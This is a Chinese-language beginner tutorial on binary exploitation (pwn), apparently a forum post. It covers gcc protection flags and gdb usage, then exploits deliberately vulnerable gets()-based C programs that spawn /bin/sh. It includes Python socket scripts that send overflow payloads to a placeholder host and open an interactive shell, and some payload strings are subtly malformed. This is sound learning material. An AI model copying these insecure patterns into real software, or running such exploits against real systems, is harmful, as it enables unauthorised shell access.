✦
1、打pwn需要准备的武器库
✦
✦
2、副武器
✦
◆file 程序名:可查看文件类型以及一些大致信息
◆readelf -a 程序名
:查看elf文件所有节、符号表等信息
◆hexdump 程序名:把指令数据等用十六进制表示出来
◆ldd 程序名
:可以查看库函数所在库的位置
◆objdump -d 程序名
:输出反汇编后的汇编指令
(默认是采用att语法格式输出,如果要intel格式可以-M intel)
◆checksec 程序名
:检查程序开启的保护选项
上面的之所以是副武器,因为实际上并不算经常用或者用的不多。
✦
3、gcc的基本使用
✦
(1)-o参数:gcc xx.c -o 程序名
【直接编译成程序】
可以发现直接编译后所有的保护都已开启:
(2)-S参数:gcc -S xx.c
【编译成汇编代码(注意这里和objdump反汇编出来的还是有点差别的,这个是程序对应的真正的汇编代码)】
两者的区别如下:
可以发现前者显示结果更加简洁,并且几乎只有汇编指令,也不像后者还有包含.plt等其他elf程序节中的细节信息.
(3)-m32参数:
将程序用x86指令集编译成32位程序,但是要注意得提前安装好相应的库:
sudo apt-get install gcc-multilib g++-multilib module-assistant
(4)-O参数:
关于gcc的-O选项,有对应的等级,默认是1,意思是编译时优化的级别,比如课程中的源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}int func(char *cmd){
system(cmd);
return 0;
}
int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]=='a'){
func(sh);
}
return 0;
}
观察源码会发现这里的if体中不可能执行,因为一开始都没有为b[0]赋值,但是编译时如果采取默认的优化级别,编译器会本着实事求是的原则,既然写了,就让该部分被编译,所以我们最终能实现缓冲区溢出获取shell,但是如果编译时优化级别设置较高,比如-O3
,那么编译器会认为其不可能执行,所以不将该部分编译,我们就获取不到shell,也就是不可能执行func(sh)
(5)-static参数:
gcc加参数-static
即可静态编译,静态编译后的程序明显比默认用动态编译的程序占用空间大:
发现当检查保护的时候,同样都是默认编译的64位程序,静态程序则默认没有开启PIE:
查看文件时也存在些差异:
注意到静态程序是叫executable
,动态程序是叫shared object
,发现既有标明静/动态链接,动态链接程序还标出了依赖外部的动态共享库文件/lib64/ld-linux-x86-64.so.2
,而前者没有,因为静态链接可执行文件已包含了所有必需的库文件,不需要依赖外部的共享库.
而且当查看两者的汇编指令时也能发现:
静态程序是:
而动态程序是:
发现汇编代码几乎是一样的,只是偏移位置不一样,还有call调用函数时,动态链接程序是xxx@plt
,即得从plt表中寻找,因为前面提到过动态链接程序要依赖外部共享库.
(6)-fno-omit-frame-pointer参数:
对解题的方法没啥区别,只是汇编指令部分发生了些变化。观察会发现原来基本都是以rbp/ebp为基准来计算、赋值的,加了该参数后,有些地方就可能以rsp/esp为基准。
同样还是以64位程序为例,只加该编译参数。
chatgpt对该参数的解释:
通过使用该选项,编译器将禁用帧指针的省略优化,确保帧指针在编译后的二进制文件中保留,例如,在进行调试或进行栈回溯(stack backtrace)时,帧指针可以提供更好的调试信息,帮助开发人员跟踪函数调用链和定位问题。
(7)-no-pie参数
效果看下面的实验。
✦
4、主武器gdb
✦
设置默认以intel格式输出反汇编代码:
vim ~/.gdbinit
最上面加上:
set disassembly-flavor intel
gdb 程序名
【加载程序】
si 【步入】
ni 【步过】
finish 【步出】
start 【开始运行到程序入口点(注意是由gcc内部机制判断出来的,不一定完全准确,所以有些情况需要自己手动判断)】i r
【这里是缩写,下文同理,查看当前所有用到的寄存器状态】disassemble $rip
【反编译当前rip所在的指令上下文】
p $寄存器
【打印寄存器中存的值(有时候还能用来计算寄存器的偏移地址,比如p $rbp-0x10)】p &函数名
【打印符号表中存在的某个函数地址】
b *地址
【设置断点】i b
【查看所有设置的断点】d 断点对应的序号
【删除指定断点(但是在实际运用中,一般不采用删除断点,而是让其失效,万一下次还要用到)】disable b 断点对应的序号
【让指定断点失效】enable b 断点对应的序号
【让已失效断点重新激活】
c(continue) 【运行到下一个断点为止】
x/20i 地址或$rip
【以汇编代码格式显示从该地址开始的20条内存单元中的数据】
(下面如果想要数据输出格式为十六进制,可以再加个x,如gx)x/20b 地址或$rip
【以每1byte十进制格式显示从该地址开始的20条内存单元中的数据】x/20g 地址或$rip
【以每8byte十进制格式显示从该地址开始的20条内存单元中的数据】x/20s 地址或$rip
【以字符串格式...】
set *地址=值
【将某个地址中的值设置为我们想要的值】
如果要设置寄存器中的值呢?
注意要强制转换一下先,如:set *((unsigned int)$ebp)=0x18
用于显示当前线程的内存映射信息,通过查看内存映射信息,可以了解程序的内存布局,包括代码段、数据段、堆、栈以及共享库等的位置和属性。
小背景:由于现在版本的编译器比起以前越来越智能,实际上很多指令在编译器编译时都很少用到了,一般都会做优化处理,而且时代变了,寄存器也不再像从前那样细分若干个并几乎各司其值,很多寄存器实际上编译时也用不到了,除了少部分寄存器几乎只履行自己职责外,如bp和sp类型寄存器一般用于栈操作、ip类型寄存器用于指向当前指令位置,大部分的很多寄存器其实都可以身兼多职。总之,ip类寄存器是老大,最重要的,bp类是老二,sp类是老三,因为内存离不开栈,栈需要bp和sp工作,剩余其他寄存器现在几乎都没啥区别了,也不是特别重要。
现在的编译器一般不用lea作为载入地址了(但是如果不加方括号的情况下是作为该原用途),一般用于计算。
比如lea rax,[rbp-0x18]
【把rbp地址减去0x18后的地址给rax】
那么为什么不用:
sub rbp,0x18
mov rax,rbp
因为这是编译器为了提高效率优化的方式,它占用的指令长度也更短。而且这种方式还不需要改变rbp的值就可以实现。
一般用于将寄存器的值归零,如xor eax,eax
两个都是减,只是相减后的结果处理不同,cmp对相减后的结果不进行赋值存储,仅用于作判断,和条件跳转指令搭配着用,其实c语言中只要包含cmp的函数都是这个原理。
and eax,eax
test eax,eax
->eax&eax
, eax=0则结果为0;eax!=0则结果为!0
与sub和cmp的区别同理,test和and指令差不多,只是test只用于比较最后不赋值,而and赋值。
另外,这里的test eax,eax
其实就相当于cmp eax,0
,只是编译器为了优化而选用test而已。
如move eax,BYTE PTR [rbp-0x10]
,其中PTR代表指针,意思是把[rbp-0x10]地址的值中取1个BYTE即8位给eax寄存器。
常见的单位还有:
WORD DWORD QWORD
16位 32位 64位
✦
6、cpu和寄存器和(虚拟)内存之间的关系
✦
在传递数据时,cpu会优先从寄存器中取值,但是寄存器数量有限,如果定义的变量数目远超过寄存器数量,那么多余的变量会先存储在虚拟内存空间中,当需要时再和寄存器做交互传递值。比如上面的[rbp-0x10]就是从虚拟内存地址中找到然后传值的,然后像push就是把暂时用不到的先放到虚拟内存中。
✦
7、pwn题常见函数
✦
这个函数常用于做字符串比较,实际看反汇编代码过程中其实当成cmp去识别就好了。
✦
8、pwn题远程部署
✦
常用的部署命令:
socat tcp-l:端口,fork exec:./程序名,reuseaddr
✦
9、用python脚本打pwn的原因
✦
因为有些时候比如题目中的比较字符是一个不可打印字符,如0x10,虽然我们在gdb调试中可以试着将虚拟内存中对应的数据改成0x10从而getshell,但是在shell中运行程序时是输入不了像0x10这样的不可打印字符的,如果我们输入它,会被当成字符串,也就是会把0x10拆分着看,而不是将其当作一个整体,所以这时候要用到python脚本中已有的模块来实现。
import socket
import telnetlib
import structdef P32(val):
return struct.pack("", val)
def pwn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("xxx.xxx.xxx.xxx", 7777))
payload = 'A'*8 + '/x10'
s.sendall(payload + 'n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
if __name__ == "__main__":
pwn()
//该脚本实际上就是模拟我们nc连接远程服务器,然后输入8个A拼接上不可见字符0x10来getshell而已。并且当然实际上常用的不是这么写的,会用到pwntools等模块,比上面的简洁方便很多
✦
10、简单缓冲区溢出入门小实验
✦
gcc版本都是在9.3~9.4的,并且在ubuntu20.04环境编译,部分题要在其他系统利用记得要带上相应的动态链接库.so文件。
demo位置:/chapter_1/test_1/question_1_x64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//默认编译参数, x64程序
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}int func(char *cmd){
system(cmd);
return 0;
}
int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]=='a'){
func(sh);
}
return 0;
}
简单代码审计分析:
刚开始定义的init_func()实际上就是定义一些文件流缓冲区相关的模式,初始化程序的输入输出流,使得输入和输出可以立即生效,而不需要等待缓冲区条件满足,简单了解就行不重要;下面主要就是分别定义两个数组,其中获取到的用户输入传给a,然后比较b[0]是否和用户输入相等,相等则执行func函数即获得一个shell,但注意实际上这里的b数组没有被初始化,所以理论上来看实际上永远不会被执行,但是如果编译选项为-O高等级,那么就会自动被忽略编译该部分,因此就无法成功利用缓冲区溢出。这里能够缓冲区溢出主要是因为用`gets`来获取用户输入,这个函数不安全,无法检查输入缓冲区的大小,理论上可以输入无数个字符,直到我们按回车,即转义成换行符/n被程序识别到为止,所以存在缓冲区溢出的风险,溢出的即多余该a[8]的那部分会跑到b[8]中从而覆盖,因此从攻击者角度而言,可使这部分操作是可控的,比如这时溢出的值是'a'且刚好在b[0]位置,从而就拿到shell了。接下来就可以利用gdb动态调试下去分析里面的细节来验证是否可利用,毕竟俗话说"遇事不决,动态调试^-^"
我们刚拿到程序时首先要直到它都做了啥,所以第一步先运行程序:
显然就是获取我们的输入然后再输出而已。
然后开始调试,首先gdb加载程序进行简单的反汇编代码分析后,在如下位置设一个断点(设完断点下次重新运行时就可以快速run到该位置,而不需要反复地ni再寻找):
因为后面的cmp al,0x61
就是决定是否跳转的关键(因为它就是源代码if条件中的底层判断实现),如果跳转了那就和我们的shell说拜拜了,所以我们可以在该断点处(也就是gets这个不安全输入)执行之前进行修改内存中的值从而实现绕过,假设一开始我们也不知道源码即纯黑盒测试的情况,那么我们肯定也不知道具体要输入多少个字符来实现溢出,在哪个位置放我们的溢出字符,还无法精准利用,所以刚开始的思路就是随便输入多一些字符,看它们在内存中的什么位置,注意这里的内存指的是虚拟内存空间。这里我们就随便输入hhhhhhhhhhhhhh
,然后我们注意到在cmp al,0x61
前的指令movzx eax, byte ptr [rbp - 0x10]
,把地址[rbp - 0x10]中的值给eax,而cmp的比较中al又包含在eax中,两者是有关联的!(所以这个地方也可以下一个断点)。显然此时我们肯定得先看看[rbp - 0x10]中都存的是啥,即它的虚拟内存空间情况:
注意如果是用g格式来输出的话,要注意大小端序的问题,内存中一般用的是小端序。
对比该处反汇编指令movzx eax, byte ptr [rbp - 0x10]
,可以发现这里只是把[rbp - 0x10]即地址0x7fffffffe350位置存的第一个字节0x68(即输入中的h)。
【来自于ascii码表的比对】
给寄存器rax的最低位al而已,从这也能发现我们实际上只要输入8个任意字符加上溢出字符a(其对应的ascii码十六进制正好是0x61)即可:
所以如果此时就可以通过修改内存,把地址0x7fffffffe370处的这个溢出字符0x68改成0x61,后续就能实现不跳转从而getshell了:
然后步过到下一条指令,检查一下rax是不是确实也变成了0x61:
然后一直步过发现确实就能执行到func从而getshell了:
最后再运行程序利用一下:
(1)编译时加上-fno-omit-frame-pointer参数:
demo位置:/chapter_1/test_3/question_1_x64_rsp
源码一样,打法也一样,这里主要看加该参数后动态调试时有什么变化:
可以发现原本是以rbp来作为计算的基准了,现在都变成了rsp,也就是编译时默认优化rsp被取消了。
(2)编译时加上-O3参数:
demo位置:/chapter_1/test_3/question_1_x64_O3
对比发现加了O3优化之后就打不通了:
(3)编译时加上-no-pie参数:
demo位置:/chapter_1/test_4/question_1_x64_nopie
源码一样,打法也一样,看看变化:
可以发现这里所有地址偏移都变成了以0x40开头和原来不同了,然后我们来对比一下运行时(即此时动态调试中通过gdb实现的反汇编代码)和编译时(即真正的汇编代码),以此处的gets函数的地址为例:
可以用objdump:
(可是objdump好像也是通过反汇编?那这里用objdump作对比ok吗?难道不应该直接编译成汇编代码来对比吗?不对,可是这样就看不到地址了。)
通过和chatgpt的讨论,搞明白了:所以这里是对比加了-no-pie编译后,程序运行前后反汇编代码的变化。
因此可以通过这种方式比较:
发现两者地址是一样的,这就是开了-no-pie后的效果,再看一下默认有pie编译后的(即最初的程序):很明显不同了。
demo位置:/chapter_1/test_5/question_2_x64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//默认编译参数,x64程序
char sh[]="/bin/sh";int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int func(char *cmd){
system(cmd);
return 0;
}
int main(){
init_func();
char a[8] = {};
char b[8] = {};
puts("input:");
gets(a);
printf(a);
if(!strcmp(b,"deadbeef")){
func(sh);
}
return 0;
}
简单代码审计分析:
这个程序和上一个程序是差不多的,只是后面判断逻辑改了一下,最后是通过判断溢出位置是否为字符串"deadbeef",是则getshell。所以和上一个程序的打法也一样的,只是输入变成cvestonedeadbeef
调试过程也大同小异,这里就省略了。
demo位置:/chapter_1/test_6/question_1_plus_x64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//编译要加-no-pie,x64程序
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}int func(char *cmd){
system(cmd);
return 0;
}
int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]==0x10){
func(sh);
}
return 0;
}
简单代码审计分析:
同样和第一个实验的程序差不多,只是最后的判断中由可打印字符'a'变成不可打印字符'0x10',打法依旧差不多,只不过此时必须通过python来实现,模拟我们的利用过程。这里调试思路依旧一样,故略,和前面的差别就在于调试中也能通过修改内存中溢出位为0x10来getshell,但是在运行程序利用时没法输入0x10来作为一个整体。
刚好这里就很贴近于实际打pwn的情况,为了模拟,我们把这个题目部署到远程云服务器的ubuntu20.04打一下,使用的python脚本:
import socket
import telnetlib
import structdef P32(val):
return struct.pack("", val)
def pwn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("xxxx.xxxx.xxxx.xxxx", port))
payload = 'A'*8 + '/x10'
s.sendall(payload + 'n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
if __name__ == "__main__":
# socat tcp-l:port,fork exec:./question_1_plus_x64,reuseaddr
pwn()
然后自行测试是否能打通。(补充:之前用ubuntu20测试是可以的,但是后续打不通了,不知道为什么,估计和apt管理的包更新后gcc版本等有关系吧,不细究了)
demo位置:/chapter_1/test_7/question_3_x64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//编译要加-no-pie,x64程序
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}int func(char *cmd){
system(sh);
return 0;
}
int main(){
init_func();
volatile int (*fp)();
fp=0;
int a;
//char a[4] = {};
//char b[0x10] = {};
puts("input:");
gets(&a);
//printf(&a);
if(fp){
fp();
}
return 0;
}
简单代码审计分析:
这个程序就和之前的很不同了,很有意思,这里并没有定义俩数组a[]和b[],也就是说我们似乎没有可以利用缓冲区溢出的位置?实际不然,这里还有一个关键的指针fp,并且还是用gets()函数来接收我们的输入,所以还是存在缓冲区溢出风险,并且还可注意到是把我们的输入作为一个地址来接收了,这就是关键!至于这里为什么要定义一个fp,假设我们看不懂这段c代码,没关系,动态调试看看暗藏了哪些玄机。
调试分析后发现这两行指令比较关键:
仔细观察,整个反汇编代码结构其实和上面的程序很像。这里的mov主要是将地址[rbp-0x10]开始的8个字节都给rdx寄存器,这里出现的call rdx
就很有意思,因为之前常见的都是call某个函数,我们可以稍微了解一下rdx一般用来干嘛的:
了解到,原来rdx还可以用来存储函数地址然后间接调用,这刚好也就是解出这道题目的核心了,因为这里的地址最初是来源于我们的输入内容的一部分,换句话说,这里间接调用的call的函数地址是可控的!好家伙,还能这么玩。所以我们同样在执行这条汇编指令之前尝试修改[rbp-0x10]内存中的数据,在这之前先随便输入:hhhhhhhhhhhhhh,同样通过查看[rbp-0x10]对应的虚拟内存,来跟踪到我们的输入:
和之前同理,修改该位置,那修改成什么好呢?
前面都是直接修改成某个字符或者字符串对应的ascii码十六进制,上面又讲到地址可控,我们最终目的是getshell,自然而然想到那就让它调用func函数!
先看看func的地址然后改内存,同时我们修改后要注意大小端序问题,然后由最后指向的地址来判断我们修改的是否正确:
从结果来看,我们前面set执行完变成了大端序的方式存储,而一般来说x/bx后应该是以小端序存储,我们有可能搞错了,直接ni到call rdx
,验证下:
发现该地址确实是我们想要的顺序,说明并没有搞错。
但很奇怪,发现只修改成功了一半,为什么呢?把疑惑告诉了chatgpt:
发现这个地址也确实是可以被0x8
整除的:
也就是说我们需要再将其填充成八个字节才能满足对齐,即0x000000000040121f
,才能成功覆盖,但是构造的set指令就稍微会复杂点,也就是要加入强制转换:set *(long long*)0x7fffffffe340=0x000000000040121f
,那为什么要这样写?
然后发现确实修改成功了:
再继续ni到call rdx
然后直到程序结束:
还可以不强制转换,修改完前面四个字节后再试着用0x0来填充后四个字节:
成功!
由于前面只是在gdb动态调试过程中在本地强制修改内存值,但显然打的时候要用python脚本打,可以用前面的模板做尝试,唯一要改变的地方就是payload的值:
。。。
//注意这里的大小端序问题
payload = 'A'*0x4 + 'x1fx12x40'
。。。
这里的偏移是0x4的原因在于,因为刚刚从我们第一个的输入h对应的十六进制ascii码0x68到溢出位是4个字节的距离。
但是上面的模板只能打远程,并且不知道什么原因部署远程的时候打的有问题,就直接另写脚本打通本地的pwn了:
看雪ID:stonectf
https://bbs.kanxue.com/user-home-973555.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多